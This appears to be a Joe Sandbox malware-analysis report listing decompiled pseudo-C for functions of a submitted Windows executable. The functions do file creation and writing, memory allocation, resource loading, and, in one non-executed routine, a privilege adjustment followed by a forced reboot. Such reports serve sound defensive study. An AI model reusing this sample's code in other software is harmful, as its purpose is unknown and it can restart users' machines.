Opcode ID: b1fa68947a2ab1d94def65676e902ee4623d61b5855483676ee50ccbd8843e09
Instruction ID: d860c9bcffbd3325f9178b4d72e9b59b5a3ff3896166b15a891a1a6cde46a7a7
Opcode Fuzzy Hash: b1fa68947a2ab1d94def65676e902ee4623d61b5855483676ee50ccbd8843e09
Instruction Fuzzy Hash: 6EE06D713442082EE3409AEC6C51FA277DCD309354F008032B988DB342D5719D108BE8

Uniqueness

Uniqueness Score: -1.00%

Function 00406804 Relevance: 1.5, APIs: 1, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 31%

			E00406804(char* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				char _v8;
				intOrPtr _t21;
				intOrPtr _t26;

				_push(0);
				_push(_t26);
				_push(0x40684c);
				_push( *[fs:eax]);
				 *[fs:eax] = _t26;
				E004067A0(__eax, __ecx,  &_v8, __eflags);
				GetFileAttributesA(E00403414(_v8)); // executed
				_pop(_t21);
				 *[fs:eax] = _t21;
				_push(E00406853);
				return E00403198( &_v8);
			}

0x00406807
0x00406810
0x00406811
0x00406816
0x00406819
0x00406821
0x0040682f
0x00406838
0x0040683b
0x0040683e
0x0040684b

APIs

Part of subcall function 004067A0: CharPrevA.USER32(00000000,00000000,?,?,?,00000000,00406826,00000000,0040684C,?,?,?,?,00000000,?,00406861), ref: 004067C8

GetFileAttributesA.KERNEL32(00000000,00000000,0040684C,?,?,?,?,00000000,?,00406861,00406B9B,00000000,00406BE0,?,?,?), ref: 0040682F

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AttributesCharFilePrev
String ID:
API String ID: 4082512850-0
Opcode ID: aa0dee3dfde9680b88e5d4a989f8a66a3aefd72398a6e714407ea11cf135785b
Instruction ID: e0806baaddb1c6ea98f9e88c012e13428ab5c20fb67af434123f63dcbe9dc2f9
Opcode Fuzzy Hash: aa0dee3dfde9680b88e5d4a989f8a66a3aefd72398a6e714407ea11cf135785b
Instruction Fuzzy Hash: 49E09B353043047FD701FEB2DC52D5ABBEDD789708B924476B501E7683D57D5E108568

Uniqueness

Uniqueness Score: -1.00%

Function 004074D8 Relevance: 1.5, APIs: 1, Instructions: 29
fileCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E004074D8(intOrPtr* __eax, long __ecx, void* __edx, void* __ebp) {
				long _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				int _t6;
				intOrPtr* _t9;
				long _t15;

				_push(__ecx);
				_t15 = __ecx;
				_t14 = __edx;
				_t9 = __eax;
				_t6 = WriteFile( *(__eax + 4), __edx, __ecx,  &_v16, 0); // executed
				if(_t6 == 0) {
					_t6 = E0040729C( *_t9);
				}
				if(_t15 != _v16) {
					_t6 = E004071FC(_t9, 0x1d, _t14, _t15);
				}
				return _t6;
			}

0x004074db
0x004074dc
0x004074de
0x004074e0
0x004074ef
0x004074f6
0x004074fa
0x004074fa
0x00407502
0x0040750b
0x0040750b
0x00407514

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004074EF

Part of subcall function 0040729C: GetLastError.KERNEL32(0040719C,0040733A,?,?,021B03CC,?,004099A5,00000001,00000000,00000002,00000000,00409F7C,?,00000000,00409FC6), ref: 0040729F

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: dfca1452c1d41856bc80b2aac7cf9c6a05d70dec67c5ac75a103ec90c85ecbc7
Instruction ID: a0310d4f07ecae3604ffa6e7199893bba826b12aca9885f9ae454d661ecc5e6b
Opcode Fuzzy Hash: dfca1452c1d41856bc80b2aac7cf9c6a05d70dec67c5ac75a103ec90c85ecbc7
Instruction Fuzzy Hash: 54E012727081106BD710E65EDC80EAB67DCDFC6764F04447BF608DB291D574EC449676

Uniqueness

Uniqueness Score: -1.00%

Function 00407388 Relevance: 1.5, APIs: 1, Instructions: 29
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407388(void* __ecx, void* __edx, void* _a4, void* _a8) {
				void* _t20;

				_t20 = CreateFileA(E00403414(__edx),  *0x0040B158,  *0x0040B164, 0,  *0x0040B174, 0x80, 0); // executed
				return _t20;
			}

0x004073c8
0x004073d0

APIs

CreateFileA.KERNEL32(00000000,?,?,00000000,?,00000080,00000000), ref: 004073C8

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 92118dbd51eda2e30ad84dab06f37ec61f43d863242aed47289f39a4a63da246
Instruction ID: d44512077142226ebef1615cfdb59f208ea4aebd3ed4d24446e2b73eb7949d4a
Opcode Fuzzy Hash: 92118dbd51eda2e30ad84dab06f37ec61f43d863242aed47289f39a4a63da246
Instruction Fuzzy Hash: A7E06D713442082ED2409AEC6C51F92779C9309354F008022B988DB342D5719D108BE8

Uniqueness

Uniqueness Score: -1.00%

Function 004070A0 Relevance: 1.5, APIs: 1, Instructions: 28
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004070A0(long __eax, void* __edx) {
				char _v1028;
				long _t6;
				void* _t9;
				void* _t16;
				void* _t18;

				_t9 = __edx;
				_t6 = FormatMessageA(0x3200, 0, __eax, 0,  &_v1028, 0x400, 0); // executed
				while(_t6 > 0) {
					_t16 =  *((intOrPtr*)(_t18 + _t6 - 1)) - 0x21;
					if(_t16 < 0) {
						L1:
						_t6 = _t6 - 1;
						__eflags = _t6;
						continue;
					} else {
						_t21 = _t16 == 0xd;
						if(_t16 == 0xd) {
							goto L1;
						}
					}
					break;
				}
				return E00403278(_t9, _t6, _t18, _t21);
			}

0x004070a7
0x004070bf
0x004070c7
0x004070cf
0x004070d2
0x004070c6
0x004070c6
0x004070c6
0x00000000
0x004070d4
0x004070d4
0x004070d7
0x00000000
0x00000000
0x004070d7
0x00000000
0x004070d2
0x004070ea

APIs

FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,00408E3F,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 004070BF

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FormatMessage
String ID:
API String ID: 1306739567-0
Opcode ID: d94db3dd466735f6b304bdc00126ac5bccc7ece6b58c4244780fee86a74765d6
Instruction ID: ccfea062e36be1e46cc563bda00536de7e5d43dcb430be3138f69a6af1e017ed
Opcode Fuzzy Hash: d94db3dd466735f6b304bdc00126ac5bccc7ece6b58c4244780fee86a74765d6
Instruction Fuzzy Hash: 08E0D8A1BA830226F22501654C8BF765A098780700F24423A3710EB3D2D9BFB906015F

Uniqueness

Uniqueness Score: -1.00%

Function 004074BC Relevance: 1.5, APIs: 1, Instructions: 11
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004074BC(intOrPtr* __eax) {
				int _t4;
				intOrPtr* _t7;

				_t7 = __eax;
				_t4 = SetEndOfFile( *(__eax + 4)); // executed
				if(_t4 == 0) {
					return E0040729C( *_t7);
				}
				return _t4;
			}

0x004074bd
0x004074c3
0x004074ca
0x00000000
0x004074ce
0x004074d4

APIs

SetEndOfFile.KERNEL32(?,021D4000,00409D69), ref: 004074C3

Part of subcall function 0040729C: GetLastError.KERNEL32(0040719C,0040733A,?,?,021B03CC,?,004099A5,00000001,00000000,00000002,00000000,00409F7C,?,00000000,00409FC6), ref: 0040729F

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorFileLast
String ID:
API String ID: 734332943-0
Opcode ID: 3ac5f10b1bb37e7f01e908e0322c5dfc960db799671fe64ae18852e136c8f636
Instruction ID: 0982b56df3f7ad1b6cebde134965e9459a5e29f8511e6229bb4ede4161842e3a
Opcode Fuzzy Hash: 3ac5f10b1bb37e7f01e908e0322c5dfc960db799671fe64ae18852e136c8f636
Instruction Fuzzy Hash: 48C04CA1A0420097CB40AABA99C1A0767D85A4820430441B6B508DB297D678EC404666

Uniqueness

Uniqueness Score: -1.00%

Function 00406E17 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E00406E17() {
				int _t4;
				intOrPtr _t7;
				void* _t8;

				_pop(_t7);
				 *[fs:eax] = _t7;
				_push(E00406E35);
				_t4 = SetErrorMode( *(_t8 - 0xc)); // executed
				return _t4;
			}

0x00406e19
0x00406e1c
0x00406e1f
0x00406e28
0x00406e2d

APIs

SetErrorMode.KERNEL32(?,00406E35), ref: 00406E28

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 2ae47081c3e89d378e094ae235ad69d162218d9e731e50ed49666677dea9dfc4
Instruction ID: baba3f3f4808b43413c2619d6a1128f167b6937905617119bfe5d2d6fabbca22
Opcode Fuzzy Hash: 2ae47081c3e89d378e094ae235ad69d162218d9e731e50ed49666677dea9dfc4
Instruction Fuzzy Hash: BEB09B7A61C3005DE715DAD5E45553863E4D7C47103E14577F108D25C0D93C94154518

Uniqueness

Uniqueness Score: -1.00%

Function 00406E33 Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406E33() {
				int _t3;
				void* _t4;

				_t3 = SetErrorMode( *(_t4 - 0xc)); // executed
				return _t3;
			}

0x00406e28
0x00406e2d

APIs

SetErrorMode.KERNEL32(?,00406E35), ref: 00406E28

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 6af24e5c173adb073989661b5fe6cac0a9f23c24014cb5474ad8c779b702b3b4
Instruction ID: 4535da48a03781cc4a0311619a7fab48f6a5bdc6e00ddcfdf41a89ac556e9596
Opcode Fuzzy Hash: 6af24e5c173adb073989661b5fe6cac0a9f23c24014cb5474ad8c779b702b3b4
Instruction Fuzzy Hash: 8EA022BCC00202F2CE00E3E0C080A3C23E82A883003C00AA2320EB20C0C03CC800020A

Uniqueness

Uniqueness Score: -1.00%

Function 00407C74 Relevance: 1.3, APIs: 1, Instructions: 62
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407C74(void* __eax) {
				char _v16;
				char _v20;
				void* _v28;
				void* _t29;
				void* _t32;
				void* _t40;
				void* _t50;
				long _t52;

				_t40 = __eax;
				if( *((intOrPtr*)(__eax + 4))() != 5) {
					E00407B8C(1);
				}
				E0040277C(_t40 + 0x10, 0x50);
				if(E00408844(_t40 + 0x10, 0x50,  &_v16,  &_v20, 5) != 0) {
					E00407B8C(3);
				}
				if(_v16 > 0x2000000) {
					E00407B8C(7);
				}
				_t52 = _v20 + _v16;
				if(_t52 !=  *(_t40 + 0x64)) {
					E00407C1C(_t40);
					_t32 = VirtualAlloc(0, _t52, 0x1000, 4); // executed
					_t50 = _t32;
					 *(_t40 + 0x60) = _t50;
					if(_t50 == 0) {
						E004057D4();
					}
					 *(_t40 + 0x64) = _t52;
				}
				_t29 = E00408894(_t40 + 0x10,  *(_t40 + 0x60) + _v20,  *(_t40 + 0x60));
				 *((char*)(_t40 + 0xd)) = 1;
				return _t29;
			}

0x00407c7a
0x00407c8c
0x00407c93
0x00407c93
0x00407ca2
0x00407cc6
0x00407ccd
0x00407ccd
0x00407cda
0x00407ce1
0x00407ce1
0x00407cea
0x00407cf1
0x00407cf5
0x00407d04
0x00407d09
0x00407d0b
0x00407d10
0x00407d12
0x00407d12
0x00407d17
0x00407d17
0x00407d27
0x00407d2c
0x00407d36

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 00407D04

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 98d26d223b2d23dbcc171cd853fe8fe681bde8a6f93817f9055e5c50a4f0bc3a
Instruction ID: 106be43a816b8cf891e44dae459459ad6d24fd1d885678dbe863b8a515b76e6b
Opcode Fuzzy Hash: 98d26d223b2d23dbcc171cd853fe8fe681bde8a6f93817f9055e5c50a4f0bc3a
Instruction Fuzzy Hash: 261175716082049BDB00EE19C881B5B37A4AF84358F14847AF958AB2C7DA38EC05CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 004015C4 Relevance: 1.3, APIs: 1, Instructions: 54
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004015C4(signed int __eax, void** __ecx, intOrPtr __edx) {
				signed int _v20;
				void** _v24;
				void* _t15;
				void** _t16;
				void* _t17;
				signed int _t27;
				intOrPtr* _t29;
				void* _t31;
				intOrPtr* _t32;

				_v24 = __ecx;
				 *_t32 = __edx;
				_t31 = __eax & 0xfffff000;
				_v20 = __eax +  *_t32 + 0x00000fff & 0xfffff000;
				 *_v24 = _t31;
				_t15 = _v20 - _t31;
				_v24[1] = _t15;
				_t29 =  *0x40c43c; // 0x40c43c
				while(_t29 != 0x40c43c) {
					_t7 = _t29 + 8; // 0x0
					_t17 =  *_t7;
					_t8 = _t29 + 0xc; // 0x0
					_t27 =  *_t8 + _t17;
					if(_t31 > _t17) {
						_t17 = _t31;
					}
					if(_t27 > _v20) {
						_t27 = _v20;
					}
					if(_t27 > _t17) {
						_t15 = VirtualAlloc(_t17, _t27 - _t17, 0x1000, 4); // executed
						if(_t15 == 0) {
							_t16 = _v24;
							 *_t16 = 0;
							return _t16;
						}
					}
					_t29 =  *_t29;
				}
				return _t15;
			}

0x004015cb
0x004015cf
0x004015d6
0x004015eb
0x004015f3
0x004015f9
0x004015ff
0x00401602
0x00401646
0x0040160a
0x0040160a
0x0040160d
0x00401610
0x00401614
0x00401616
0x00401616
0x0040161c
0x0040161e
0x0040161e
0x00401624
0x00401631
0x00401638
0x0040163a
0x00401640
0x00000000
0x00401640
0x00401638
0x00401644
0x00401644
0x00401655

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 00401631

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 41bc2e58eb8df21134a81ecef240e945b9dbf0f5d11c2332597d90ea76119035
Instruction ID: 625cd896077d7ae42c8eb3362da321aaa2c87eddc2731790e4d257a04fee8ae6
Opcode Fuzzy Hash: 41bc2e58eb8df21134a81ecef240e945b9dbf0f5d11c2332597d90ea76119035
Instruction Fuzzy Hash: 95113072A057019FC3109F19CD80A2BB7E5EBC4750F19CA3DE598A73A5D635AC408699

Uniqueness

Uniqueness Score: -1.00%

Function 00401658 Relevance: 1.3, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00401658(void* __eax, void** __ecx, void* __edx) {
				int _t7;
				void* _t9;
				signed int _t14;
				intOrPtr* _t19;
				signed int _t22;
				void** _t23;

				_push(__ecx);
				 *_t23 = __eax + 0x00000fff & 0xfffff000;
				_t22 = __eax + __edx & 0xfffff000;
				 *__ecx =  *_t23;
				_t7 = _t22 -  *_t23;
				__ecx[1] = _t7;
				_t19 =  *0x40c43c; // 0x40c43c
				while(_t19 != 0x40c43c) {
					_t2 = _t19 + 8; // 0x0
					_t9 =  *_t2;
					_t3 = _t19 + 0xc; // 0x0
					_t14 =  *_t3 + _t9;
					if(_t9 <  *_t23) {
						_t9 =  *_t23;
					}
					if(_t22 < _t14) {
						_t14 = _t22;
					}
					if(_t14 > _t9) {
						_t7 = VirtualFree(_t9, _t14 - _t9, 0x4000); // executed
						if(_t7 == 0) {
							 *0x40c418 = 2;
						}
					}
					_t19 =  *_t19;
				}
				return _t7;
			}

0x0040165c
0x0040166d
0x00401674
0x0040167d
0x00401681
0x00401684
0x00401687
0x004016c7
0x0040168f
0x0040168f
0x00401692
0x00401695
0x0040169a
0x0040169c
0x0040169c
0x004016a1
0x004016a3
0x004016a3
0x004016a7
0x004016b2
0x004016b9
0x004016bb
0x004016bb
0x004016b9
0x004016c5
0x004016c5
0x004016d4

APIs

VirtualFree.KERNEL32(00000000,00000000,00004000,?,?,?,?,?,004018BF), ref: 004016B2

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: a2f32dd8ef58eb042d1926e7c5d87192c2fb778a874e681f692e1318d4ea2181
Instruction ID: 63c8255cdd02620dd55efc6405714c3c0a63becca9b218cdeda95617091702f1
Opcode Fuzzy Hash: a2f32dd8ef58eb042d1926e7c5d87192c2fb778a874e681f692e1318d4ea2181
Instruction Fuzzy Hash: 3601A7726442148BC310AF28DDC093A77D5EB85364F1A4A7ED985B73A1D23B6C0587A8

Uniqueness

Uniqueness Score: -1.00%

Function 00407358 Relevance: 1.3, APIs: 1, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407358(void* __eax, void* __edx) {
				void* _t11;
				void* _t14;

				_t11 = __edx;
				_t14 = __eax;
				if( *((char*)(__eax + 8)) != 0) {
					CloseHandle( *(__eax + 4)); // executed
				}
				E00402918(0);
				if(_t11 != 0) {
					E00402B04(_t14);
				}
				return _t14;
			}

0x0040735a
0x0040735c
0x00407362
0x00407368
0x00407368
0x00407371
0x00407378
0x0040737c
0x0040737c
0x00407385

APIs

CloseHandle.KERNEL32(?), ref: 00407368

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: dc235c176c566fd7e5ff871da56091193a88c150de874b1d3d85bbfd96156598
Instruction ID: 5b809d91324b01165f3d7abffa4f1606225d7c7902e21457073849c4ce9a0a8f
Opcode Fuzzy Hash: dc235c176c566fd7e5ff871da56091193a88c150de874b1d3d85bbfd96156598
Instruction Fuzzy Hash: 77D05E81B00A6007E715E2BF498864A92C85F88645F08843AFE84E73D2D67CAC01D389

Uniqueness

Uniqueness Score: -1.00%

Function 00407C1C Relevance: 1.3, APIs: 1, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407C1C(void* __eax) {
				void* _t6;
				void* _t9;

				_t9 = __eax;
				 *((intOrPtr*)(__eax + 0x64)) = 0;
				_t6 =  *(__eax + 0x60);
				if(_t6 != 0) {
					VirtualFree(_t6, 0, 0x8000); // executed
					 *((intOrPtr*)(_t9 + 0x60)) = 0;
					return 0;
				}
				return _t6;
			}

0x00407c1d
0x00407c21
0x00407c24
0x00407c29
0x00407c33
0x00407c3a
0x00000000
0x00407c3a
0x00407c3e

APIs

VirtualFree.KERNEL32(?,00000000,00008000,?,00407CFA), ref: 00407C33

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 6581b9859b1206c1d916db2ac2ac46b2cc57049a2813a0b15916f2e6b5958528
Instruction ID: 104fdf5ac94e7fd02e0f24df8e885f7d3afef79a12a9fcd307b9ebd36a4d6817
Opcode Fuzzy Hash: 6581b9859b1206c1d916db2ac2ac46b2cc57049a2813a0b15916f2e6b5958528
Instruction Fuzzy Hash: 48D002B17553045FEBA0EEB94DC1B0237D87B48700F5044B66D04EB2D6E774E8009714

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00409180 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 41
shutdownCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409180() {
				int _v4;
				struct _TOKEN_PRIVILEGES _v16;
				void* _v20;
				int _t6;
				signed char _t11;

				if( *0x40b07c == 2) {
					if(OpenProcessToken(GetCurrentProcess(), 0x28,  &_v20) == 0) {
						return E00409160();
					}
					_t11 = LookupPrivilegeValueA(0, "SeShutdownPrivilege",  &(_v16.Privileges));
					_v16.PrivilegeCount = 1;
					_v4 = 2;
					_t12 = _t11 & 0x00000010;
					 *((intOrPtr*)((_t11 & 0x00000010) +  *_t12)) =  *((intOrPtr*)((_t11 & 0x00000010) +  *_t12)) + (_t11 & 0x00000010) +  *_t12;
					AdjustTokenPrivileges(_v20, 0,  &_v16, 0, 0, 0);
					if(GetLastError() != 0) {
						return E00409160();
					}
				}
				_t6 = ExitWindowsEx(2, 0);
				if(_t6 == 0) {
					return E00409160();
				}
				return _t6;
			}

0x0040918a
0x0040919c
0x00000000
0x0040919e
0x004091b1
0x004091b6
0x004091be
0x004091c0
0x004091c4
0x004091d8
0x004091e4
0x00000000
0x004091e6
0x004091e4
0x004091f1
0x004091f8
0x00000000
0x004091fa
0x00409202

APIs

GetCurrentProcess.KERNEL32(00000028), ref: 0040918F
OpenProcessToken.ADVAPI32(00000000,00000028), ref: 00409195
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,00000028), ref: 004091B1
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 004091D8
GetLastError.KERNEL32(?,00000000,?,00000000,00000000,00000000), ref: 004091DD

Part of subcall function 00409160: MessageBoxA.USER32 ref: 0040917A

ExitWindowsEx.USER32(00000002,00000000), ref: 004091F1

Strings

SeShutdownPrivilege, xrefs: 004091AA

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ProcessToken$AdjustCurrentErrorExitLastLookupMessageOpenPrivilegePrivilegesValueWindows
String ID: SeShutdownPrivilege
API String ID: 93195177-3733053543
Opcode ID: 141232cc53b1a597fcdf5ca8d2130493ae7acfbdbc209659ba55deea20ae6dd7
Instruction ID: a22a05c0334c91e373ded132950a1cfbc2e4fd7d56acfff406f0eba1ecee2c19
Opcode Fuzzy Hash: 141232cc53b1a597fcdf5ca8d2130493ae7acfbdbc209659ba55deea20ae6dd7
Instruction Fuzzy Hash: 96F03CB4744306A6F610BAA28C4BF1B228C5B8074CF10443FBA14BD2C3DABC8C04966F

Uniqueness

Uniqueness Score: -1.00%

Function 004098C8 Relevance: 6.0, APIs: 4, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004098C8() {
				struct HRSRC__* _t10;
				void* _t11;
				void* _t12;

				_t10 = FindResourceA(0, 0x2b67, 0xa);
				if(_t10 == 0) {
					E0040977C();
				}
				if(SizeofResource(0, _t10) != 0x2c) {
					E0040977C();
				}
				_t11 = LoadResource(0, _t10);
				if(_t11 == 0) {
					E0040977C();
				}
				_t12 = LockResource(_t11);
				if(_t12 == 0) {
					E0040977C();
				}
				return _t12;
			}

0x004098d7
0x004098db
0x004098dd
0x004098dd
0x004098ed
0x004098ef
0x004098ef
0x004098fc
0x00409900
0x00409902
0x00409902
0x0040990d
0x00409911
0x00409913
0x00409913
0x0040991b

APIs

FindResourceA.KERNEL32(00000000,00002B67,0000000A), ref: 004098D2
SizeofResource.KERNEL32(00000000,00000000,?,004099BD,00000000,00409F5A,?,00000001,00000000,00000002,00000000,00409F7C,?,00000000,00409FC6), ref: 004098E5
LoadResource.KERNEL32(00000000,00000000,00000000,00000000,?,004099BD,00000000,00409F5A,?,00000001,00000000,00000002,00000000,00409F7C,?,00000000), ref: 004098F7
LockResource.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,004099BD,00000000,00409F5A,?,00000001,00000000,00000002,00000000,00409F7C), ref: 00409908

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
